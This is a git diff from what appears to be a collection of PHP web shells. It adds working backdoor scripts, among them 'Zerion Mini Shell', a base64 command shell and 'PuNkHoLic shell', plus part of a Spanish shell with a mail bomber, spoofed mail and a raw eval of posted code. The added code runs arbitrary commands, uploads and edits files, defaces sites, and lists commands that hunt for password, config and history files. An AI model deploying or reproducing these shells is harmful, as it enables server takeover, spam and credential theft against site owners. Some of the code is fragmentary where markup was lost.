hash('haval160,3', $cadena); + } + elseif ($tipoende=='haval192,3 - encode') { + $resultado = hash('haval192,3', $cadena); + } + elseif ($tipoende=='haval224,3 - encode') { + $resultado = hash('haval224,3', $cadena); + } elseif ($tipoende=='haval256,3 - encode') { + $resultado = hash('haval256,3', $cadena); + } + elseif ($tipoende=='haval128,4 - encode') { + $resultado = hash('haval128,4', $cadena); + } elseif ($tipoende=='haval160,4 - encode') { + $resultado = hash('haval160,4', $cadena); + } + elseif ($tipoende=='haval192,4 - encode') { + $resultado = hash('haval192,4', $cadena); + } elseif ($tipoende=='haval224,4 - encode') { + $resultado = hash('haval224,4', $cadena); + } + elseif ($tipoende=='haval256,4 - encode') { + $resultado = hash('haval256,4', $cadena); + } + elseif ($tipoende=='haval128,5 - encode') { + $resultado = hash('haval128,5', $cadena); + } + elseif ($tipoende=='haval160,5 - encode') { + $resultado = hash('haval160,5', $cadena); + } + elseif ($tipoende=='haval192,5 - encode') { + $resultado = hash('haval192,5', $cadena); + } + elseif ($tipoende=='haval224,5 - encode') { + $resultado = hash('haval224,5', $cadena); + } elseif ($tipoende=='haval256,5 - encode') { + $resultado = hash('haval256,5', $cadena); + } + elseif ($tipoende=='Base64 - encode') { + $resultado = base64_encode($cadena); + } + elseif ($tipoende=='Base64 - decode') { + $resultado = base64_decode($cadena); + } + elseif ($tipoende=='URL - encode') { + $resultado = rawurlencode($cadena); + } + elseif ($tipoende=='URL - decode') { + $resultado = rawurldecode($cadena); + } + if ($tipoende != ''){ + $tipoe = $tipoende; } +echo '
'.$tipoe.':

'; +} elseif ($opcion == 'mail_bomber') { +echo '
Mail Bomber

To:      
Sender:      
Nombre:      
Subject:      
Count:      
Message:      



'; +if (isset($_POST['Send'])) { +$need .="MIME-Version: 1.0\n"; +$need .="Content-type: text/html ; charset=iso-8859-1\n"; +$need .="MIME-Version: 1.0\n"; +$need .="From: ".$_POST['nombreremitente']." <".$_POST['remitente'].">\n"; +$need .="To: ".$_POST['nombreremitente']."<".$_POST['remitente'].">\n"; +$need .="Reply-To:".$_POST['remitente']."\n"; +$need .="X-Priority: 1\n"; +$need .="X-MSMail-Priority:Hight\n"; +$need .="X-Mailer:Widgets.com Server"; +echo "


Result:

"; +for ($i = 1; $i <= $_POST['cantidad']; $i++) { +$listamails = 'Ninguna'; +if ($listamails != "Ninguna") { +$open = fopen($listamails,"r"); +while(!feof($open)) { +$word = fgets($open,255); +$word = chop($word); +if(@mail($word,$_POST['asunto'],$_POST['mensaje'],$need)) { +echo "[+] Send $i a ".$word." successfully.
"; +flush(); +} else { +echo "[+] Send $i a ".$word." error.
"; +}}} else { +if(@mail($_POST['destinatario'],$_POST['asunto'],$_POST['mensaje'],$need)) { +echo "[+] Send $i a ".$_POST['destinatario']." successfully.
"; +flush(); +} else { +echo "[+] Send $i a ".$_POST['destinatario']." error.
"; +}}} +echo "


"; +} +} elseif ($opcion == 'mail_anonimo') { + $error = ''; + $Nombre = ''; + $emailto = ''; + $emailde = ''; + $asunto = ''; + $mensaje = ''; + if(isset($_POST['send'])) + { + $Nombre = $_POST['Nombre']; + $emailto = $_POST['emailto']; + $emailde = $_POST['emailde']; + $asunto = $_POST['asunto']; + $mensaje = $_POST['mensaje']; + if(trim($Nombre) == '') + { + $error = '
Write a name
'; + } + else if(trim($emailto) == '') + { + $error = '
Write a email
'; + } + if(trim($emailde) == '') + { + $error = '
Write destinatario.
'; + } + + else if(trim($asunto) == '') + { + $error = '
Write a subject.
'; + } + + else if(trim($mensaje) == '') + { + $error = '
Write a message.
'; + } + if($error == '') + { + $a = $emailto; + mail($a, $asunto, $mensaje, "From: $emailde\r\nReply-To: $emailto\r\nReturn-Path: $emailto\r\n"); + ?> +
+

Enviado

+

Enviado correctamente a . +
+ +

+
+
+ + +
Mail anonymous
+
+
+ + + + + + + + + + + + + + + + + + + + + + + +
+
+

+ All sessions have been destroyed.
'; +} elseif ($opcion == 'eval') { +echo "
Eval

Código:

'; +if (isset($_POST['cargar'])) { +echo "

"; +eval($_POST['codigo']); +echo "


+"; +}} else { + $homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; +echo '
File manager

  Shell: '.$shelldir.'
  Home:'.$homedir.'/
  Now dir:'.$dir.'
'; +$dir = opendir($path); +echo "  Drives found: "; foreach($scan as $drives) { +$drives = $drives.":\\"; +if (is_dir($drives)) { +echo "  "."".$drives."

"; + } + else { + $drives = ""; + }} +if ($drives == "") { + echo 'None.'; } + + echo '

'; +$homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; +?> +
+ + +
+

+
+
+ + + +

 Go to:

'; + echo "
"; + if (is_dir($dir)){ + if ($dh=opendir($dir)){ + while (($file = readdir($dh)) !== false) { + $fsize=round(filesize($dir . $file)/1024); + echo " "; +} else { + echo "  -"; } + echo ""; } + closedir($dh); } + }echo '
Nombre:Size:Download:Edit: Perms:Chmod:Delete:
"; + if (is_dir($dir.$file)) + { + echo " $file"; + } + else { + echo " $file"; + } + echo ""; + if (is_file($dir.$file)) + { + echo $fsize.' KB'; + } + else { + if (is_dir($dir.$file)) + { + echo "  DIR"; + } + } + echo ""; + if (is_file($dir.$file)){ + if (is_readable($dir.$file)){ + echo "Descargar"; + }else { + echo "Can not read"; + } + }else { + echo "  -"; + } + echo ""; + if (is_file($dir.$file)) + { + if (is_readable($dir.$file)){ + echo "Editar"; + }else { + echo "Can not read"; + } + }else { + echo "  -"; + } + echo ""; +echo permisos($file).""; +if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + echo "Not valid on windows"; + } + else { + echo "Chmod"; + } + echo ""; + if (is_file($dir.$file)){ + echo "Borrar


'; +if($_GET['cmd']) { +echo '
'; +$modo = $_GET[modo]; +if ($modo=='System') { + system($_GET['cmd']); + } elseif ($modo=='Exec') { + echo exec($_GET['cmd']); + }}echo '
Cmd:

Create dir:

'; +if ($_POST['nombre_dir'] != "") { +if (isset($_POST['botonsito'])) { +$nombre_dir = $_POST['nombre_dir']; +mkdir($nombre_dir); +echo ""; +echo 'Directorio creado correctamente'; +} else { +echo 'Error to create file.'; +}}echo '

Create file: '; +if (isset($_POST['creara'])) { +chdir($_POST['dir']); +if (fopen($_POST['creara'],"w")) { +echo "File created."; +echo ""; +}else { +echo "Error to created file."; +}}echo '

Upload: to:
'; +if (isset($_FILES['archivo'])) { +$subir = basename($_FILES['archivo']['name']); +if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subir)) { +}}echo '

Copy: to: '; +if ($_POST['archivo'] != '') { +if (copy($_POST['archivo'],$_POST['nuevo'])) { +echo " Copiado correctamente."; +echo ""; +} else { +echo 'Copy error.'; +} }echo '
'; +}echo ' +

'.$nombre_s.' '.$version.'
'; +?> diff --git a/load_shell.php b/Collection/load_shell.php similarity index 100% rename from load_shell.php rename to Collection/load_shell.php diff --git a/lolipop.php b/Collection/lolipop.php similarity index 100% rename from lolipop.php rename to Collection/lolipop.php diff --git a/lostDC.php b/Collection/lostDC.php similarity index 100% rename from lostDC.php rename to Collection/lostDC.php diff --git a/matamu.php b/Collection/matamu.php similarity index 100% rename from matamu.php rename to Collection/matamu.php diff --git a/megabor.php b/Collection/megabor.php similarity index 100% rename from megabor.php rename to Collection/megabor.php diff --git a/Collection/mini.php b/Collection/mini.php new file mode 100644 index 0000000..a135d99 --- /dev/null +++ b/Collection/mini.php @@ -0,0 +1,302 @@ +$value){ +$_POST[$key] = stripslashes($value); +} +} +echo ' + + + +Mini Shell + + + +

+ Mini Shell +

+ +'; +if(isset($_GET['filesrc'])){ +echo "
Direktori : '; +if(isset($_GET['path'])){ +$path = $_GET['path']; +}else{ +$path = getcwd(); +} + +$path = str_replace('\\','/',$path); +$paths = explode('/',$path); + +foreach($paths as $id=>$pat){ +if($pat == '' && $id == 0){ +$a = true; +echo '/'; +continue; +} +if($pat == '') continue; +echo ''.$pat.'/'; +} +echo '
'; +if(isset($_FILES['file'])){ +if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ + +echo 'File Ter-Upload :*
'; +}else{ +echo 'Upload gagal, Servernya kek +
'; +} +} +echo '
+Upload File : + +
+
Current File : "; +echo $_GET['filesrc']; +echo '

'; +echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'); +}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ +echo '
'.$_POST['path'].'

'; +if($_POST['opt'] == 'chmod'){ +if(isset($_POST['perm'])){ +if(chmod($_POST['path'],$_POST['perm'])){ +echo 'Change Permission Done.
'; +}else{ +echo 'Change Permission Error.
'; +} +} +echo '
+Permission : + + + +
'; +}elseif($_POST['opt'] == 'rename'){ +if(isset($_POST['newname'])){ +if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ +echo 'Change Name Done.
'; +}else{ +echo 'Change Name Error.
'; +} +$_POST['name'] = $_POST['newname']; +} +echo '
+New Name : + + + +
'; +}elseif($_POST['opt'] == 'edit'){ +if(isset($_POST['src'])){ +$fp = fopen($_POST['path'],'w'); +if(fwrite($fp,$_POST['src'])){ +echo 'Edit File Done ~_^.
'; +}else{ +echo 'Edit File Error ~_~.
'; +} +fclose($fp); +} +echo '
+
+ + + +
'; +} +echo '
'; +}else{ +echo '
'; +if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ +if($_POST['type'] == 'dir'){ +if(rmdir($_POST['path'])){ +echo 'Delete Dir Done.
'; +}else{ +echo 'Delete Dir Error.
'; +} +}elseif($_POST['type'] == 'file'){ +if(unlink($_POST['path'])){ +echo 'Delete File Done.
'; +}else{ +echo 'Delete File Error.
'; +} +} +} +echo '
'; +$scandir = scandir($path); +echo '
+ + + + + +'; + +foreach($scandir as $dir){ +if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; +echo " + + + + +"; +} +echo ''; +foreach($scandir as $file){ +if(!is_file("$path/$file")) continue; +$size = filesize("$path/$file")/1024; +$size = round($size,3); +if($size >= 1024){ +$size = round($size/1024,2).' MB'; +}else{ +$size = $size.' KB'; + +} + +echo " + + + + +"; +} +echo '
Name
Size
Permissions
Options
$dir
--
"; +if(is_writable("$path/$dir")) echo ''; +elseif(!is_readable("$path/$dir")) echo ''; +echo perms("$path/$dir"); +if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; + +echo "
+ + + + +\" /> +
$file
".$size."
"; +if(is_writable("$path/$file")) echo ''; +elseif(!is_readable("$path/$file")) echo ''; +echo perms("$path/$file"); +if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; +echo "
+ + + + +\" /> +
+
'; +} +echo '

Zerion Mini Shell 1.0
+ +'; +function perms($file){ +$perms = fileperms($file); + +if (($perms & 0xC000) == 0xC000) { + +// Socket +$info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { +// Symbolic Link +$info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { +// Regular +$info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { +// Block special +$info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { +// Directory +$info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { +// Character special +$info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { +// FIFO pipe +$info = 'p'; +} else { +// Unknown +$info = 'u'; +} + +// Owner +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? +(($perms & 0x0800) ? 's' : 'x' ) : +(($perms & 0x0800) ? 'S' : '-')); + + +// Group +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? +(($perms & 0x0400) ? 's' : 'x' ) : +(($perms & 0x0400) ? 'S' : '-')); + +// World +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); + +$info .= (($perms & 0x0001) ? +(($perms & 0x0200) ? 't' : 'x' ) : +(($perms & 0x0200) ? 'T' : '-')); + +return $info; +} +?> diff --git a/mysql_tool.php b/Collection/mysql_tool.php similarity index 100% rename from mysql_tool.php rename to Collection/mysql_tool.php diff --git a/nshell.php b/Collection/nshell.php similarity index 100% rename from nshell.php rename to Collection/nshell.php diff --git a/Collection/obfuscated-punknopass.php b/Collection/obfuscated-punknopass.php new file mode 100644 index 0000000..ab94375 --- /dev/null +++ b/Collection/obfuscated-punknopass.php @@ -0,0 +1,3087 @@ + diff --git a/pHpINJ.php b/Collection/pHpINJ.php similarity index 100% rename from pHpINJ.php rename to Collection/pHpINJ.php diff --git a/php-backdoor.php b/Collection/php-backdoor.php similarity index 100% rename from php-backdoor.php rename to Collection/php-backdoor.php diff --git a/php-findsock-shell.php b/Collection/php-findsock-shell.php old mode 100755 new mode 100644 similarity index 100% rename from php-findsock-shell.php rename to Collection/php-findsock-shell.php diff --git a/php-include-w-shell.php b/Collection/php-include-w-shell.php similarity index 100% rename from php-include-w-shell.php rename to Collection/php-include-w-shell.php diff --git a/php-reverse-shell.php b/Collection/php-reverse-shell.php old mode 100755 new mode 100644 similarity index 100% rename from php-reverse-shell.php rename to Collection/php-reverse-shell.php diff --git a/Collection/php-web-shell.php b/Collection/php-web-shell.php new file mode 100644 index 0000000..945f6e0 --- /dev/null +++ b/Collection/php-web-shell.php @@ -0,0 +1,44 @@ +PHP Web Shell + + + + + + +
+ Command + +
+ + + Executed: $decoded_command"; + echo str_repeat("
",2); + echo "Output:"; + echo str_repeat("
",2); + exec($decoded_command . " 2>&1", $output, $return_status); + if (isset($return_status)): + if ($return_status !== 0): + echo "Error in Code Execution --> "; + foreach ($output as &$line) { + echo "$line
"; + }; + elseif ($return_status == 0 && empty($output)): + echo "Command ran successfully, but does not have any output."; + else: + foreach ($output as &$line) { + echo "$line
"; + }; + endif; + endif; + ?> + + diff --git a/Collection/punk-nopass.php b/Collection/punk-nopass.php new file mode 100644 index 0000000..5d453ae --- /dev/null +++ b/Collection/punk-nopass.php @@ -0,0 +1,1419 @@ + + +PuNkHoLic shell + + + + + + + "dir", +"Find index.php in current dir" => "dir /s /w /b index.php", +"Find *config*.php in current dir" => "dir /s /w /b *config*.php", +"Show active connections" => "netstat -an", +"Show running services" => "net start", +"User accounts" => "net user", +"Show computers" => "net view", +"ARP Table" => "arp -a", +"IP Configuration" => "ipconfig /all" +); +} +else{ +$aliases = array( +"List dir" => "ls -la", +"list file attributes on a Linux second extended file system" => "lsattr -va", +"show opened ports" => "netstat -an | grep -i listen", +"Find" => "", +"find all suid files" => "find / -type f -perm -04000 -ls", +"find suid files in current dir" => "find . -type f -perm -04000 -ls", +"find all sgid files" => "find / -type f -perm -02000 -ls", +"find sgid files in current dir" => "find . -type f -perm -02000 -ls", +"find config.inc.php files" => "find / -type f -name config.inc.php", +"find config* files" => "find / -type f -name \"config*\"", +"find config* files in current dir" => "find . -type f -name \"config*\"", +"find all writable folders and files" => "find / -perm -2 -ls", +"find all writable folders and files in current dir" => "find . -perm -2 -ls", +"find all service.pwd files" => "find / -type f -name service.pwd", +"find service.pwd files in current dir" => "find . -type f -name service.pwd", +"find all .htpasswd files" => "find / -type f -name .htpasswd", +"find .htpasswd files in current dir" => "find . -type f -name .htpasswd", +"find all .bash_history files" => "find / -type f -name .bash_history", +"find .bash_history files in current dir" => "find . -type f -name .bash_history", +"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", +"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", +"Locate" => "", +"locate httpd.conf files" => "locate httpd.conf", +"locate vhosts.conf files" => "locate vhosts.conf", +"locate proftpd.conf files" => "locate proftpd.conf", +"locate psybnc.conf files" => "locate psybnc.conf", +"locate my.conf files" => "locate my.conf", +"locate admin.php files" =>"locate admin.php", +"locate cfg.php files" => "locate cfg.php", +"locate conf.php files" => "locate conf.php", +"locate config.dat files" => "locate config.dat", +"locate config.php files" => "locate config.php", +"locate config.inc files" => "locate config.inc", +"locate config.inc.php" => "locate config.inc.php", +"locate config.default.php files" => "locate config.default.php", +"locate config* files " => "locate config", +"locate .conf files"=>"locate '.conf'", +"locate .pwd files" => "locate '.pwd'", +"locate .sql files" => "locate '.sql'", +"locate .htpasswd files" => "locate '.htpasswd'", +"locate .bash_history files" => "locate '.bash_history'", +"locate .mysql_history files" => "locate '.mysql_history'", +"locate .fetchmailrc files" => "locate '.fetchmailrc'", +"locate backup files" => "locate backup", +"locate dump files" => "locate dump", +"locate priv files" => "locate priv" +); +} +if(isset($_POST['p1']) && $_POST['p1']=='deface') { +$def = file_get_contents($deface_url); +file_put_contents($_POST['c'].$_POST['p2'],$def); +} +function ex($in) { +$out = ''; +if ( function_exists(' exec ')) { +@exec($in,$out); +$out = @join("\n",$out); +}elseif(function_exists('passthru')) { +ob_start(); +@passthru($in); +$out = ob_get_clean(); +}elseif(function_exists('system')) { +ob_start(); +@system($in); +$out = ob_get_clean(); +}elseif(function_exists('shell_exec')) { +$out = shell_exec($in); +}elseif(is_resource($f = @popen($in,"r"))) { +$out = ""; +while(!@feof($f)) +$out .= fread($f,1024); +pclose($f); +} +return $out; +} +function which($p) { +$path = ex('which '.$p); +if(!empty($path)) +return $path; +return false; +} +function printHeader() { +if(empty($_POST['charset'])) +$_POST['charset'] = "UTF-8"; +global $color; +global $Theme; +global $TabsColor; +echo ""; +echo ' +PuNkHoLic Shell + + +Chrome Pointer + +
+
+ + + + + + +
'; +$freeSpace = @diskfreespace($GLOBALS['cwd']); +$totalSpace = @disk_total_space($GLOBALS['cwd']); +$totalSpace = $totalSpace?$totalSpace:1; +$disable_functions = @ini_get('disable_functions'); +$release = @php_uname('r'); +$kernel = @php_uname('s'); +if(!function_exists('posix_getegid')) { +$user = @get_current_user(); +$uid = @getmyuid(); +$gid = @getmygid(); +$group = "?"; +} else { +$uid = @posix_getpwuid(@posix_geteuid()); +$gid = @posix_getgrgid(@posix_getegid()); +$user = $uid['name']; +$uid = $uid['uid']; +$group = $gid['name']; +$gid = $gid['gid']; +} +$cwd_links = ''; +$path = explode("/", $GLOBALS['cwd']); +$n=count($path); +for($i=0;$i<$n-1;$i++) { +$cwd_links .= "".$path[$i]."/"; +} +$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); +$opt_charsets = ''; +foreach($charsets as $item) +$opt_charsets .= ''; +$m = array('Import Scripts'=>'ImportScripts','Jumping'=>'Jumping','Symlink'=>'Symlink','Domains' => 'Domain','Shared Hostings'=>'Shared','Sym Sites'=>'Sym','Subdomain'=>'Subdomain','Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Safe Mode'=>'Bypass','String tools'=>'StringTools','Defacer' => 'Deface','Recursive Defacer'=>'Defacer'); +if(!empty($GLOBALS['auth_pass'])) +$m['Logout'] = 'Logout'; +$menu = ''; +foreach($m as $k => $v) +$menu .= ''.$k.''; +$drives = ""; +if ($GLOBALS['os'] == 'win') { +foreach( range('a','z') as $drive ){ +if (is_dir($drive.':\\')) +$drives .= '[ '.$drive.' ] '; +} +$drives .= '
: '; +} +if($GLOBALS['os'] == 'nix') { +$dominios = @file_get_contents("/etc/named.conf"); +if(!$dominios) { +$DomainS = "/var/named"; +$Domainonserver = scandir($DomainS); +$d0c = count($Domainonserver); +} else { +@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out); +$out = sizeof(array_unique($out[1])); +$d0c = $out."Domains"; +} +} else { +$d0c = "Nothing here bro:("; +} +if($GLOBALS['os'] == 'nix' ) +{ +$usefl = ''; $dwnldr = ''; +if(!@ini_get('safe_mode')) { +$temp = array(); +$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); +foreach($userful as $item) { if(which($item)) $temp[]= $item; } +$usefl = implode(', ',$temp); +$temp = array(); +$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); +foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; } +$dwnldr = implode(', ',$temp); +} else { +$usefl = ' ------- '; $dwnldr = ' ------- '; +} +} else { +$usefl = ' ------- '; $dwnldr = ' ------- '; +} +echo ''. + '
'.$menu.'
'; +} +function printFooter() { +$is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ]":"[ Not writable ]"; +echo '
+ + + + + + + + + + + + + +
Change dir:
Read file:
Make dir:
'.$is_writable.'
Make file:
'.$is_writable.'
Execute:
+ + + + +Upload file:
'.$is_writable.'
+
PuNkHoLic Shell coded by PuNkHoLic
+
+'; +} +if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } } +if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } } +function viewSize($s) { +if($s >= 1073741824) +return sprintf('%1.2f', $s / 1073741824 ). ' GB'; +elseif($s >= 1048576) +return sprintf('%1.2f', $s / 1048576 ) . ' MB'; +elseif($s >= 1024) +return sprintf('%1.2f', $s / 1024 ) . ' KB'; +else +return $s . ' B'; +} +function perms($p) { +if (($p & 0xC000) == 0xC000)$i = 's'; +elseif (($p & 0xA000) == 0xA000)$i = 'l'; +elseif (($p & 0x8000) == 0x8000)$i = '-'; +elseif (($p & 0x6000) == 0x6000)$i = 'b'; +elseif (($p & 0x4000) == 0x4000)$i = 'd'; +elseif (($p & 0x2000) == 0x2000)$i = 'c'; +elseif (($p & 0x1000) == 0x1000)$i = 'p'; +else $i = 'u'; +$i .= (($p & 0x0100) ? 'r' : '-'); +$i .= (($p & 0x0080) ? 'w' : '-'); +$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); +$i .= (($p & 0x0020) ? 'r' : '-'); +$i .= (($p & 0x0010) ? 'w' : '-'); +$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); +$i .= (($p & 0x0004) ? 'r' : '-'); +$i .= (($p & 0x0002) ? 'w' : '-'); +$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); +return $i; +} +function viewPermsColor($f) { +if (!@is_readable($f)) +return ''.perms(@fileperms($f)).''; +elseif (!@is_writable($f)) +return ''.perms(@fileperms($f)).''; +else +return ''.perms(@fileperms($f)).''; +} +if(!function_exists("scandir")) { +function scandir($dir) { +$dh= opendir($dir); +while (false !== ($filename = readdir($dh))) { +$files[] = $filename; +} +return $files; +} +} +function actionSecInfo() { +printHeader(); +echo '

Server security information

'; +function showSecParam($n, $v) { +$v = trim($v); +if($v) { +echo ''.$n.': '; +if(strpos($v, "\n") === false) +echo $v.'
'; +else +echo '
'.$v.'
'; +} +} +showSecParam('Server software', @getenv('SERVER_SOFTWARE')); +showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); +showSecParam('Open base dir', @ini_get('open_basedir')); +showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); +showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); +showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); +$temp=array(); +if(function_exists('mysql_get_client_info')) +$temp[] = "MySql (".mysql_get_client_info().")"; +if(function_exists('mssql_connect')) +$temp[] = "MSSQL"; +if(function_exists('pg_connect')) +$temp[] = "PostgreSQL"; +if(function_exists('oci_connect')) +$temp[] = "Oracle"; +showSecParam('Supported databases', implode(', ', $temp)); +echo '
'; +if( $GLOBALS['os'] == 'nix' ) { +$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); +$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); +$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); +showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); +showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); +showSecParam('OS version', @file_get_contents('/proc/version')); +showSecParam('Distr name', @file_get_contents('/etc/issue.net')); +if(!$GLOBALS['safe_mode']) { +echo '
'; +$temp=array(); +foreach ($userful as $item) +if(which($item)){$temp[]=$item;} +showSecParam('Userful', implode(', ',$temp)); +$temp=array(); +foreach ($danger as $item) +if(which($item)){$temp[]=$item;} +showSecParam('Danger', implode(', ',$temp)); +$temp=array(); +foreach ($downloaders as $item) +if(which($item)){$temp[]=$item;} +showSecParam('Downloaders', implode(', ',$temp)); +echo '
'; +showSecParam('Hosts', @file_get_contents('/etc/hosts')); +showSecParam('HDD space', ex('df -h')); +showSecParam('Mount options', @file_get_contents('/etc/fstab')); +} +} else { +showSecParam('OS Version',ex('ver')); +showSecParam('Account Settings',ex('net accounts')); +showSecParam('User Accounts',ex('net user')); +} +echo '
'; +printFooter(); +} +function actionFilesMan() { +printHeader(); +echo '

File manager

'; +if(isset($_POST['p1']) && $_POST['p1']!='deface') { +switch($_POST['p1']) { +case 'uploadFile': +if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) +echo "Can't upload file!"; +break; +break; +case 'mkdir': +if(!@mkdir($_POST['p2'])) +echo "Can't create new dir"; +break; +case 'delete': +function deleteDir($path) { +$path = (substr($path,-1)=='/') ? $path:$path.'/'; +$dh= opendir($path); +while ( ($item = readdir($dh) ) !== false) { +$item = $path.$item; +if ( (basename($item) == "..") || (basename($item) == ".") ) +continue; +$type = filetype($item); +if ($type == "dir") +deleteDir($item); +else +@unlink($item); +} +closedir($dh); +rmdir($path); +} +if(is_array(@$_POST['f'])) +foreach($_POST['f'] as $f) { +$f = urldecode($f); +if(is_dir($f)) +deleteDir($f); +else +@unlink($f); +} +break; +case 'paste': +if($_SESSION['act'] == 'copy') { +function copy_paste($c,$s,$d){ +if(is_dir($c.$s)){ +mkdir($d.$s); +$h = opendir($c.$s); +while (($f = readdir($h)) !== false) +if (($f != ".") and ($f != "..")) { +copy_paste($c.$s.'/',$f, $d.$s.'/'); +} +} elseif(is_file($c.$s)) { +@copy($c.$s, $d.$s); +} +} +foreach($_SESSION['f'] as $f) +copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); +} elseif($_SESSION['act'] == 'move') { +function move_paste($c,$s,$d){ +if(is_dir($c.$s)){ +mkdir($d.$s); +$h = opendir($c.$s); +while (($f = readdir($h)) !== false) +if (($f != ".") and ($f != "..")) { +copy_paste($c.$s.'/',$f, $d.$s.'/'); +} +} elseif(is_file($c.$s)) { +@copy($c.$s, $d.$s); +} +} +foreach($_SESSION['f'] as $f) +@rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); +} +unset($_SESSION['f']); +break; +default: +if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { +$_SESSION['act'] = @$_POST['p1']; +$_SESSION['f'] = @$_POST['f']; +foreach($_SESSION['f'] as $k => $f) +$_SESSION['f'][$k] = urldecode($f); +$_SESSION['cwd'] = @$_POST['c']; +} +break; +} +echo ''; +} +$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); +if($dirContent === false) {echo 'Can\'t open this folder!'; return;} +global $sort; +$sort = array('name', 1); +if(!empty($_POST['p1'])) { +if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) +$sort = array($match[1], (int)$match[2]); +} +echo ' + +'; +echo ""; +$dirs = $files = $links = array(); +$n = count($dirContent); +for($i=0;$i<$n;$i++) { +$ow = @posix_getpwuid(@fileowner($dirContent[$i])); +$gr = @posix_getgrgid(@filegroup($dirContent[$i])); +$tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), + 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) +); +if(@is_file($GLOBALS['cwd'].$dirContent[$i])) +$files[] = array_merge($tmp, array('type' => 'file')); +elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) +$links[] = array_merge($tmp, array('type' => 'link')); +elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) +$dirs[] = array_merge($tmp, array('type' => 'dir')); +} +$GLOBALS['sort'] = $sort; +function cmp($a, $b) { +if($GLOBALS['sort'][0] != 'size') +return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); +else +return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); +} +usort($files, "cmp"); +usort($dirs, "cmp"); +usort($links, "cmp"); +$files = array_merge($dirs, $links, $files); +$l = 0; +foreach($files as $f) { +echo ''; +$l = $l?0:1; +} +echo ' +
NameSizeModifyOwner/GroupPermissionsActions
'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');">[ '.htmlspecialchars($f['name']).' ]').''.(($f['type']=='file')?viewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] +.'R T'.(($f['type']=='file')?' E D':'').'
+ + + +  
